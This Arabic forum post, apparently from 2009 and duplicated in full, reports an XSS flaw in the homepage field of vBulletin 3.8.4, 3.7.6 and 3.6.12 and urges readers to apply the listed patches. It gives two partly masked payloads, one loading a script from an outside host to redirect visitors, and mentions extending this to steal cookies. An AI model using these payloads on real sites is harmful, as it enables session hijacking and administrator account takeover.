!وٍهہٍ’َِ)اِْ(‘َِ’ـٍمہ!
10-27-2009, 11:44 PM
ثغرة XSS في منتديات vBulletin 3.8.4
أطلقت شركة Jelsoft تحديثات لعدّة اصدارات من سكريبت المنتديات vBulletin وذلك لوجود ثغرة XSS اكتشفت مؤخّراً في صفحة الملف الشخصي وأصابت الاصدارات 3.8.4 , 3.7.6 و 3.6.12 حيث يستغل المهاجم خطأ في طريقة تحقق سكريبت vB من حقل "الصفحة الشخصية" بشكل صحيح مما يمكّنه من زرع كود ********** مكان رابط الصفحة الشخصيّة.
في الملف الشخصي يستطيع الأعضاء وضع رابط للصفحة الشخصيّة, يتأكد سكريبت vBulletin من وجود www في الرابط الذي وضعه المستخدم أو عن طريق Regex يتحقق من مدخلات المستخدم (الأحرف a-z , الأرقام 1-9 بالاضافة لوجود ://).
بهذه الحالة يستطيع المهاجم وضع الكود التالي في حقل الصفحة الشخصية:
كود:
**********://%0a********.write('***************(0)***********')
مما يؤدي لظهور نافذة تحتوي على الرقم 0 وهذا يدل على تشغيل كود الجافاسكريبت أو يقوم المهاجم بوضع الكود التالي:
كود:
**********://%0a********.write('******** src=http://intern0t.net/.k>***********')
لتحويل المستخدمين لموقع آخر بشكل تلقائي (من المحتمل تطوير الاستغلال السابق ليعمل على سرقة الكوكيز الخاصّة بالمستخدم أو مدير المنتدى وارسالها الى المهاجم وهذا يمكّنه من الدخول الى المنتدى باسم المستخدم أو مدير المنتدى دون الحاجة لمعرفة كلمة مرور).
شركة جيل سوفت أطلقت الاصدارات التالية لاصلاح الثغرة السابقة:
vBulletin 3.8.4 PL1
vBulletin 3.7.6 PL1
vBulletin 3.6.12 PL2
اننصح الجميع بالتحديث بأسرع وقت ممكن عن طريق تحميل الرقع الأمنية من صفحة المشتركين في موقع vBulletin مع ملاحظة أنك ستحتاج الى رخصة فعّالة لتتمكّن من دخول منطقة المشتركين وتحميل الرقع الأمنيّة السابقة.
أطلقت شركة Jelsoft تحديثات لعدّة اصدارات من سكريبت المنتديات vBulletin وذلك لوجود ثغرة XSS اكتشفت مؤخّراً في صفحة الملف الشخصي وأصابت الاصدارات 3.8.4 , 3.7.6 و 3.6.12 حيث يستغل المهاجم خطأ في طريقة تحقق سكريبت vB من حقل "الصفحة الشخصية" بشكل صحيح مما يمكّنه من زرع كود ********** مكان رابط الصفحة الشخصيّة.
في الملف الشخصي يستطيع الأعضاء وضع رابط للصفحة الشخصيّة, يتأكد سكريبت vBulletin من وجود www في الرابط الذي وضعه المستخدم أو عن طريق Regex يتحقق من مدخلات المستخدم (الأحرف a-z , الأرقام 1-9 بالاضافة لوجود ://).
بهذه الحالة يستطيع المهاجم وضع الكود التالي في حقل الصفحة الشخصية:
كود:
**********://%0a********.write('***************(0)***********')
مما يؤدي لظهور نافذة تحتوي على الرقم 0 وهذا يدل على تشغيل كود الجافاسكريبت أو يقوم المهاجم بوضع الكود التالي:
كود:
**********://%0a********.write('******** src=http://intern0t.net/.k>***********')
لتحويل المستخدمين لموقع آخر بشكل تلقائي (من المحتمل تطوير الاستغلال السابق ليعمل على سرقة الكوكيز الخاصّة بالمستخدم أو مدير المنتدى وارسالها الى المهاجم وهذا يمكّنه من الدخول الى المنتدى باسم المستخدم أو مدير المنتدى دون الحاجة لمعرفة كلمة مرور).
شركة جيل سوفت أطلقت الاصدارات التالية لاصلاح الثغرة السابقة:
vBulletin 3.8.4 PL1
vBulletin 3.7.6 PL1
vBulletin 3.6.12 PL2
اننصح الجميع بالتحديث بأسرع وقت ممكن عن طريق تحميل الرقع الأمنية من صفحة المشتركين في موقع vBulletin مع ملاحظة أنك ستحتاج الى رخصة فعّالة لتتمكّن من دخول منطقة المشتركين وتحميل الرقع الأمنيّة السابقة.